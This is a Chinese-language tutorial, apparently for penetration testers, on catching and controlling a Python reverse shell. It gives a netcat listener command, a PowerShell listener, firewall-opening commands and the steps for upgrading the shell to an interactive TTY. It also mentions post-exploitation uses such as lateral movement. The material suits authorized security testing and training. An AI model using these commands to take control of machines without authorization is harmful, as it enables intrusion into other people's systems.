
本文介绍如何在攻击者端使用 netcat 监听指定端口,成功接收并交互式控制目标机器建立的 python 反向 shell,从而实现远程命令执行。
本文介绍如何在攻击者端使用 netcat 监听指定端口,成功接收并交互式控制目标机器建立的 python 反向 shell,从而实现远程命令执行。
要与目标机器上运行的 Python 反向 Shell 建立交互式会话,攻击者需在本地启动一个监听服务,等待目标主动连接。核心原理是:Python 脚本中 s.connect(("attacker_ip", attacker_port)) 会主动向攻击者指定的 IP 和端口发起 TCP 连接;因此攻击者必须提前在该端口上运行监听器,才能接收连接并接管 shell 输入/输出。
✅ 正确监听方式(推荐)
在攻击者机器(Linux/macOS)上执行以下命令(将 port_number 替换为脚本中硬编码的端口号,例如 4444):
nc -lvnp 4444
-
-l:启用监听模式 -
-v:显示详细连接信息(可选,便于调试) -
-n:禁用 DNS 解析,提升响应速度 -
-p:指定监听端口
⚠️ 注意:确保该端口未被占用,且防火墙(如
ufw、iptables或云平台安全组)已放行入站 TCP 流量。
? Windows 攻击者?替代方案
Windows 默认无 nc,可选用:
立即学习“Python免费学习笔记(深入)”;
-
PowerShell 监听(基础交互有限):
$listener = New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Any, 4444) $listener.Start() Write-Host "[+] Listening on *:4444" $client = $listener.AcceptTcpClient() $stream = $client.GetStream() $writer = New-Object System.IO.StreamWriter($stream) $reader = New-Object System.IO.StreamReader($stream) # (需进一步实现双向管道,不推荐生产环境)
-
更优方案:安装 Nmap 版 netcat(
ncat.exe)或使用 Windows Subsystem for Linux (WSL) 运行标准nc -lvnp 4444。
? 验证与排错要点
- ✅ IP 地址必须可达:攻击者 IP 需为靶机可路由地址(内网直连、NAT 端口转发、公网 VPS 等),避免使用
127.0.0.1或局域网私有 IP(除非靶机与攻击者同网段)。 - ✅ 端口一致性:Python 脚本中的
attacker_port必须与nc -lvnp的端口号完全一致。 - ✅ 权限与 SELinux/firewalld(Linux):若监听失败,检查是否被
firewalld阻断:sudo firewall-cmd --add-port=4444/tcp --permanent && sudo firewall-cmd --reload
- ❌ 不要使用
nc -lvp(缺少-n):部分旧版 netcat 在 DNS 解析失败时会卡住,导致连接挂起。
? 进阶提示:获得稳定交互式 Shell
原脚本调用 /bin/sh -i 在某些环境中可能无法正确分配 TTY,导致 Ctrl+C 失效或命令无回显。连接成功后,建议立即升级为完整伪终端:
# 在已获取的 nc 会话中执行(Linux 目标):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 然后按 Ctrl+Z → 执行 stty raw -echo → fg → 回车两次 → 设置 TERM 类型:
export TERM=xterm
stty rows 40 columns 150至此,你已建立起一条可控、可交互的反向 Shell 通道,可执行任意命令、上传文件、横向移动等后续操作。请始终确保在授权范围内进行安全测试。


















